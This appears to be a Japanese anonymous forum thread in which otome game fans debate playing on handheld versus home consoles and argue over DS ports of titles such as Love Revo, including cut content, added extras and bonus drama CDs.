てか、そもそも携帯ゲーム機で乙女をやろうとはあまり思わない
汗吹きゲーみたいに携帯機ならではなら、分かるけど
自分も。
ゲームをするようになったのが物心付く年齢になってからだったから、
既に自分専用のテレビや据え置き機を置いて一人で遊べる環境も整ってたし
ストーリーを楽しむジャンルのゲームを今更ちっこい画面では没頭して遊べないや。
パズルやクイズ形式のゲームなら携帯機で充分楽しめるけどね。
>>972 >>973 自分の環境が一般的とは思わない方がいいよ
やりたくても出来ない人もいるわけだからさ
誰もそんなこと思ってないよ。
そういう環境の人が、ジャンルがジャンルだけに
人に見られずひっそりやりたいという気持ちもよく分かる。
携帯機でも色んなタイトルが据え置き機より
先行して発売されるようになればいいとは思うけど、
そっちが主流になるのは据え置きで育ってきたゲーマーとしては
寂しいなという事を言ってるだけ。
理想は同じくらいの比率で発売されるようになり、
人気タイトルは相互移植されるようになればいいんだろうけどね。
ラブレボの「追加要素無しです、むしろ減量してます」は
既存ファンに対してすごく親切だと思うんだけどなぁ…。
GSDS1があったからこそ
DSへの移植に対して期待しちゃう人もいるかもしれないから、
関連モノなら何でも集めたいっていう収集マニア以外は
買わない方が良いですって明言してるワケでしょ?
減量してるかどうかをハッキリ宣言してくれない某肥にくらべたら…。
店舗別特典商法に走ったら論外だけどさ。
自分の好きなゲームは移植で少し追加があってもともとのファンから非難浴びてた
追加で金稼ぎか!みたいな
GSDSから流れが変わって追加のない移植が非難され始めたね
何というか…乙
ラブレボDSは声なしなのに、特典でドラマCDをつけることに、疑問もあるような。
追加か。発売されてから、ある程度期間が経過してたら、追加要素ありで移植や完全版も、それはそれでアリだと思う。
でも、発売して余りたたないうちに、ほんのちょっとの追加要素で移植されたり、完全版だされると、凹む。
そうかもしれんけど、元々のファン心理としてみれば
PS2からDSへの移植で減量は仕方ないにしても、
”移植→新要素!?”的期待するなというほうが無理だよw
でもまあ親切は親切だよね。
PS2版のファンが『それでももしかしたら!?』と期待して購入して、
やっぱり減量しただけでした、何よコレ騙されたムキー!!となって
クレーム付けられないようにするための慎重な予防線と思えなくもないけどw
確かに以前はべた移植が多くて、イベント追加があると非難されてたよね
今は流れが変わったんだから仕方ないんじゃ?
買う気もない人がそのゲームに執着して叩いてるのはさすがにどうかと思うけど…
それだけ今はニュースもないし暇なんだろうね
移植は減量品でした、で萎えてるというより
DSに移植は新録りドラマCDもついてますよ
これが売れたら次回作もあるかもしれませんよ
って情報が先に出て
声無しでドラマCDは新録りなのかよとか
やる気のない移植なのに、次回作作る気あるのかよ
と萎えまくってるんだと思う
あと、発売後どれだけ経っての移植かにもあるかもね。
半年程度で追加要素満載の移植とか発表されたら
元々のユーザーは有料デバッガですか?という気分になるかもしれないし
逆にラブレボみたく放置期間が長いものは
ユーザー側も飢えてるから新しい何かを求めてしまうっていうか。
>>976 >>これが売れたら次回作もあるかもしれませんよ
これのどこが親切なんだw
こんなこと言われたら
要らなくても買わなきゃいけないと思う人も出るだろうに
>983
次回作って言っても、好評だったシナリオライターさんとは気まずくなってたみたいだし、
ロデも控えてるしで、どこまで本気なのか分からないな。
面白いゲームをやりたい!買いたい!んだけど、
乙女ゲユーザーにはこんなもんでいいだろ的なものがあると萎える。
ゲーム会社の広報には頑張ってほしい。発売前のwktk祭り好きだ。
ナンバリングつける続編はなるべくキャラ入れ替えにしてほしい